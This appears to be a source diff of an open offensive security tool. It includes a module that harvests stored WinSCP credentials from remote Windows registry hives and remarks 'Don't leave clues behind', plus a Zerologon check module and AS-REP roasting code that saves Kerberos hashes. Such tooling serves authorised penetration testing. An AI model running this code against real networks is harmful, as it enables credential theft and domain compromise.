ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName,
)
key_handle = ans["phkResult"]
host_name = unquote(rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0])
user_name = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UserName")[1].split("\x00")[:-1][0]
try:
@@ -148,13 +162,18 @@ class NXCModule:
user_objects = []
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Enumerate all logged in and loaded Users on System
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
users = data["lpcSubKeys"]
# Get User Names
user_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
@@ -176,13 +195,22 @@ class NXCModule:
user_objects = []
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Enumerate all Users on System
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList",
)
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
users = data["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
@@ -194,65 +222,86 @@ class NXCModule:
remote_ops.finish()
return user_objects
def load_missing_users(self, context, connection, unloaded_user_objects):
def load_missing_users(self, context, connection, unloadedUserObjects):
"""Extract Information for not logged in Users and then loads them into registry."""
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
for user_object in unloaded_user_objects:
for userObject in unloadedUserObjects:
# Extract profile Path of NTUSER.DAT
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
)
key_handle = ans["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
# Load Profile
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
rrp.hBaseRegLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
rrp.hBaseRegLoadKey(
remote_ops._RemoteOperations__rrp,
key_handle,
userObject,
user_profile_path + "\\" + "NTUSER.DAT",
)
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
finally:
remote_ops.finish()
def unload_missing_users(self, context, connection, unloaded_user_objects):
"""If some user were not logged in at the beginning we unload them from registry."""
def unload_missing_users(self, context, connection, unloadedUserObjects):
"""If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind..."""
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Unload Profile
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
for user_object in unloaded_user_objects:
context.log.debug("UNLOAD USER FROM REGISTRY: " + user_object)
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
for userObject in unloadedUserObjects:
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
try:
rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object)
rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, userObject)
except Exception as e:
context.log.fail(f"Error unloading user {user_object} in registry: {e}")
context.log.fail(f"Error unloading user {userObject} in registry: {e}")
context.log.debug(traceback.format_exc())
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
finally:
remote_ops.finish()
def check_masterpassword_set(self, context, connection, user_object):
use_master_password = False
def check_masterpassword_set(self, connection, userObject):
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security")["phkResult"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
)
key_handle = ans["phkResult"]
use_master_password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseMasterPassword")[1]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("Security configuration registry not found, no master passwords set at all.")
else:
context.log.exception(e)
finally:
remote_ops.finish()
return use_master_password
@@ -260,7 +309,7 @@ class NXCModule:
def registry_discover(self, context, connection):
context.log.display("Looking for WinSCP creds in Registry...")
try:
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Enumerate all Users on System
@@ -272,29 +321,39 @@ class NXCModule:
unloaded_user_objects = list(set(user_objects).symmetric_difference(set(all_user_objects)))
self.load_missing_users(context, connection, unloaded_user_objects)
# Retrieve how many sessions are stored in registry from each user_object
# Retrieve how many sessions are stored in registry from each UserObject
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
for user_object in all_user_objects:
for userObject in all_user_objects:
try:
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions")["phkResult"]
sessions = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[user_object]}" in registry!')
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions",
)
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
sessions = data["lpcSubKeys"]
context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[userObject]}" in registry!')
# Get Session Names
session_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(sessions)]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
session_names.remove("Default%20Settings")
if self.check_masterpassword_set(context, connection, user_object):
if self.check_masterpassword_set(connection, userObject):
context.log.fail("MasterPassword set! Aborting extraction...")
continue
# Extract stored Session infos
for sessionName in session_names:
self.print_creds(context, self.registry_session_extractor(context, connection, user_object, sessionName))
self.print_creds(
context,
self.registry_session_extractor(context, connection, userObject, sessionName),
)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug(f"No WinSCP config found in registry for user {user_object}")
context.log.debug(f"No WinSCP config found in registry for user {userObject}")
except Exception as e:
context.log.fail(f"Unexpected error: {e}")
context.log.debug(traceback.format_exc())
+4 -6
View File
@@ -26,7 +26,7 @@ class NXCModule:
def on_login(self, context, connection):
self.context = context
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname):
self.context.log.highlight("VULNERABLE")
self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
try:
@@ -43,15 +43,13 @@ class NXCModule:
except Exception:
self.context.log.debug("Error updating zerologon status in database")
def perform_attack(self, dc_handle, dc_ip, target_computer, remoteHost):
def perform_attack(self, dc_handle, dc_ip, target_computer):
# Keep authenticating until successful. Expected average number of attempts needed: 256.
self.context.log.debug("Performing authentication attempts...")
rpc_con = None
try:
binding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con_ = transport.DCERPCTransportFactory(binding.replace(remoteHost, dc_ip))
rpc_con_.setRemoteHost(remoteHost)
rpc_con = rpc_con_.get_dce_rpc()
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
for _attempt in range(MAX_ATTEMPTS):
+28 -17
View File
@@ -23,8 +23,6 @@ from os.path import join as path_join
from sys import exit
from rich.progress import Progress
import platform
if sys.stdout.encoding == "cp1252":
sys.stdout.reconfigure(encoding="utf-8")
# Increase file_limit to prevent error "Too many open files"
if platform.system() != "Windows":
@@ -141,8 +139,7 @@ def main():
nxc_logger.debug(f"Protocol DB Path: {protocol_db_path}")
protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
nxc_logger.debug(f"Protocol Object: {protocol_object}, type: {type(protocol_object)}")
nxc_logger.debug(f"Protocol Object dir: {dir(protocol_object)}")
nxc_logger.debug(f"Protocol Object: {protocol_object}")
protocol_db_object = p_loader.load_protocol(protocol_db_path).database
nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
@@ -175,15 +172,13 @@ def main():
nxc_logger.display(f"{module} module options:\n{modules[module]['options']}")
exit(0)
elif args.module:
# Check the modules for sanity before loading the protocol
nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}")
proto_module_paths = []
nxc_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
for m in args.module:
if m not in modules:
nxc_logger.error(f"Module not found: {m}")
exit(1)
nxc_logger.debug(f"Loading module for sanity check {m} at path {modules[m]['path']}")
nxc_logger.debug(f"Loading module {m} at path {modules[m]['path']}")
module = loader.init_module(modules[m]["path"])
if not module.opsec_safe:
@@ -191,12 +186,22 @@ def main():
nxc_logger.debug("ignore_opsec is set in the configuration, skipping prompt")
nxc_logger.display("Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
else:
ans = input(highlight("[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf", "red"))
ans = input(
highlight(
"[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf",
"red",
)
)
if ans.lower() not in ["y", "yes", ""]:
exit(1)
if not module.multiple_hosts and len(targets) > 1:
ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", "red"))
ans = input(
highlight(
"[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ",
"red",
)
)
if ans.lower() not in ["y", "yes", ""]:
exit(1)
@@ -207,18 +212,24 @@ def main():
if not args.server_port:
args.server_port = server_port_dict[args.server]
# Add modules paths to the protocol object so it can load them itself
proto_module_paths.append(modules[m]["path"])
protocol_object.module_paths = proto_module_paths
nxc_logger.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}")
nxc_logger.debug(f"proto object dir: {dir(protocol_object)}")
# get currently set modules, otherwise default to empty list
current_modules = getattr(protocol_object, "module", [])
current_modules.append(module)
protocol_object.module = current_modules
nxc_logger.debug(f"proto object module after adding: {protocol_object.module}")
if hasattr(args, "ntds") and args.ntds and not args.userntds:
ans = input(highlight("[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ", "red"))
ans = input(
highlight(
"[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ",
"red",
)
)
if ans.lower() not in ["y", "yes", ""]:
exit(1)
if args.jitter and len(targets) > 1:
nxc_logger.highlight(highlight("[!] Jitter is only throttling authentications per target!", "red"))
try:
asyncio.run(start_run(protocol_object, args, db, targets))
except KeyboardInterrupt:
-5
View File
@@ -512,11 +512,6 @@ class NXCDBMenu(cmd.Cmd):
def do_exit(line):
sys.exit()
@staticmethod
def do_EOF(line):
sys.exit()
@staticmethod
def help_exit():
help_string = """
+2 -3
View File
@@ -3,12 +3,11 @@ import sys
import nxc
NXC_PATH = os.path.expanduser("~/.nxc")
TMP_PATH = os.path.join("/tmp", "nxc_hosted")
if os.name == "nt":
TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\nxc_hosted"
elif hasattr(sys, "getandroidapilevel"):
if hasattr(sys, "getandroidapilevel"):
TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "nxc_hosted")
else:
TMP_PATH = os.path.join("/tmp", "nxc_hosted")
CERT_PATH = os.path.join(NXC_PATH, "nxc.pem")
CONFIG_PATH = os.path.join(NXC_PATH, "nxc.conf")
+7 -10
View File
@@ -1,12 +1,9 @@
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, std_parser, module_parser):
ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=[std_parser, module_parser])
ftp_parser.add_argument("--port", type=int, default=21, help="FTP port (default: 21)")
def proto_args(parser, parents):
ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=parents, formatter_class=DisplayDefaultsNotNone)
ftp_parser.add_argument("--port", type=int, default=21, help="FTP port")
cgroup = ftp_parser.add_argument_group("File Operations", "Options for enumerating and interacting with files on the target")
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List files in the directory")
cgroup.add_argument("--get", metavar="FILE", help="Download a file")
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
cgroup = ftp_parser.add_argument_group("FTP Access", "Options for enumerating your access")
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List files in the directory, ex: --ls or --ls Directory")
cgroup.add_argument("--get", metavar="FILE", help="Download a file, ex: --get fileName.txt")
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file, ex: --put inputFileName.txt outputFileName.txt")
return parser
+37 -70
View File
@@ -28,7 +28,6 @@ from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
from impacket.krb5.types import Principal, KerberosException
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap.ldap import LDAPFilterSyntaxError
from impacket.smb import SMB_DIALECT
from impacket.smbconnection import SMBConnection, SessionError
@@ -167,7 +166,7 @@ class ldap(connection):
ldap_url = f"{proto}://{host}"
self.logger.info(f"Connecting to {ldap_url} with no baseDN")
try:
ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
ldap_connection = ldap_impacket.LDAPConnection(ldap_url)
if ldap_connection:
self.logger.debug(f"ldap_connection: {ldap_connection}")
except SysCallError as e:
@@ -214,7 +213,6 @@ class ldap(connection):
try:
string_binding = rf"ncacn_ip_tcp:{self.host}[135]"
transport = DCERPCTransportFactory(string_binding)
transport.setRemoteHost(self.host)
transport.set_connect_timeout(5)
dce = transport.get_dce_rpc()
if self.args.kerberos:
@@ -254,7 +252,6 @@ class ldap(connection):
def enum_host_info(self):
self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
self.hostname = self.target
self.remoteName = self.target
self.domain = self.targetDomain
# smb no open, specify the domain
if not self.args.no_smb:
@@ -281,30 +278,22 @@ class ldap(connection):
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
try: # noqa: SIM105
# DC's seem to want us to logoff first, windows workstations sometimes reset the connection
self.conn.logoff()
except Exception:
pass
# Re-connect since we logged off
self.create_conn_obj()
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}".replace(":", "-"))
def print_host_info(self):
self.logger.debug("Printing host info for LDAP")
if self.args.no_smb:
self.logger.extra["protocol"] = "LDAP" if self.port == "389" else "LDAPS"
self.logger.extra["port"] = self.port
self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})')
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389"
self.logger.display(f"Connecting to LDAP {self.hostname}")
else:
self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
@@ -341,7 +330,7 @@ class ldap(connection):
if hash_tgt:
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_tgt}\n")
hash_asreproast.write(hash_tgt + "\n")
return False
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
@@ -352,9 +341,10 @@ class ldap(connection):
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
@@ -397,9 +387,10 @@ class ldap(connection):
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
@@ -445,7 +436,7 @@ class ldap(connection):
if hash_tgt:
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_tgt}\n")
hash_asreproast.write(hash_tgt + "\n")
return False
try:
@@ -454,8 +445,8 @@ class ldap(connection):
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -475,8 +466,8 @@ class ldap(connection):
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -534,7 +525,7 @@ class ldap(connection):
if hash_tgt:
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_tgt}\n")
hash_asreproast.write(hash_tgt + "\n")
return False
try:
@@ -543,8 +534,8 @@ class ldap(connection):
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -564,9 +555,15 @@ class ldap(connection):
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
)
self.check_if_admin()
# Prepare success credential text
@@ -752,7 +749,7 @@ class ldap(connection):
users = parse_result_attributes(resp)
# we print the total records after we parse the results since often SearchResultReferences are returned
self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}")
self.logger.display(f"Total records returned: {len(users):d}")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for user in users:
# TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
@@ -896,7 +893,7 @@ class ldap(connection):
"lastLogon",
]
resp = self.search(search_filter, attributes, 0)
if resp is None:
if resp == []:
self.logger.highlight("No entries found!")
elif resp:
answers = []
@@ -940,10 +937,10 @@ class ldap(connection):
if len(answers) > 0:
for user in answers:
hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
if hash_TGT:
self.logger.highlight(f"{hash_TGT}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_TGT}\n")
hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
self.logger.highlight(f"{hash_TGT}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(hash_TGT + "\n")
return True
else:
self.logger.highlight("No entries found!")
@@ -1055,36 +1052,6 @@ class ldap(connection):
self.logger.highlight("No entries found!")
self.logger.fail("Error with the LDAP account used")
def query(self):
"""
Query the LDAP server with the specified filter and attributes.
Example usage:
--query "(sAMAccountName=Administrator)" "sAMAccountName pwdLastSet memberOf"
"""
search_filter = self.args.query[0]
attributes = [attr.strip() for attr in self.args.query[1].split(" ")]
if len(attributes) == 1 and attributes[0] == "":
attributes = None
if not search_filter:
self.logger.fail("No filter specified")
return
self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
try:
resp = self.search(search_filter, attributes, 0)
except LDAPFilterSyntaxError as e:
self.logger.fail(f"LDAP Filter Syntax Error: {e}")
return
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
self.logger.success(f"Response for object: {item['objectName']}")
for attribute in item["attributes"]:
attr = f"{attribute['type']}:"
vals = str(attribute["vals"]).replace("\n", "")
if "SetOf: " in vals:
vals = vals.replace("SetOf: ", "")
self.logger.highlight(f"{attr:<20} {vals}")
def trusted_for_delegation(self):
# Building the search filter
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
@@ -1402,9 +1369,9 @@ class ldap(connection):
ad = AD(
auth=auth,
domain=self.domain,
nameserver=self.args.dns_server,
dns_tcp=self.args.dns_tcp,
dns_timeout=self.args.dns_timeout,
nameserver=self.args.nameserver,
dns_tcp=False,
dns_timeout=3,
)
collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection)
if not collect:
+13 -15
View File
@@ -1,18 +1,18 @@
import random
from binascii import hexlify, unhexlify
from datetime import datetime, timedelta
import traceback
try:
# This is only available in python >= 3.11
# if we are in a lower version, we will use the deprecated utcnow() method
from datetime import UTC
utc_failed = False
except ImportError:
utc_failed = True
from os import getenv
from impacket.krb5 import constants
from impacket.krb5.asn1 import TGS_REP, AS_REQ, AS_REP, KERB_PA_PAC_REQUEST, KRB_ERROR, seq_set, seq_set_iter
from impacket.krb5.asn1 import (
TGS_REP,
AS_REQ,
KERB_PA_PAC_REQUEST,
KRB_ERROR,
AS_REP,
seq_set,
seq_set_iter,
)
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT
from impacket.krb5.types import KerberosTime, Principal
@@ -211,8 +211,7 @@ class KerberosAttacks:
return None
req_body["realm"] = domain
# When we drop python 3.10 support utcnow() can be removed, as it is deprecated
now = datetime.utcnow() + timedelta(days=1) if utc_failed else datetime.now(UTC) + timedelta(days=1)
now = datetime.utcnow() + timedelta(days=1)
req_body["till"] = KerberosTime.to_asn1(now)
req_body["rtime"] = KerberosTime.to_asn1(now)
req_body["nonce"] = random.getrandbits(31)
@@ -236,11 +235,10 @@ class KerberosAttacks:
message = encoder.encode(as_req)
r = sendReceive(message, domain, self.kdcHost)
elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value:
return f"Password of user {userName} expired but user doesn't require pre-auth"
return "Password of user " + userName + " expired but user doesn't require pre-auth"
else:
nxc_logger.fail(e)
nxc_logger.debug(traceback.format_exc())
return None
nxc_logger.debug(e)
return False
# This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
# 'Do not require Kerberos preauthentication' set
+2 -2
View File
@@ -323,8 +323,8 @@ def laps_search(self, username, password, cred_type, domain):
password[0] if cred_type[0] == "plaintext" else "",
domain[0],
password[0] if cred_type[0] == "hash" else "",
self.kerberos,
self.kdcHost,
self.args.kerberos,
self.args.kdcHost,
339
)
try:
+20 -8
View File
@@ -1,10 +1,7 @@
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=parents, formatter_class=DisplayDefaultsNotNone)
def proto_args(parser, std_parser, module_parser):
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=[std_parser, module_parser])
ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
ldap_parser.add_argument("--port", type=int, default=389, help="LDAP port")
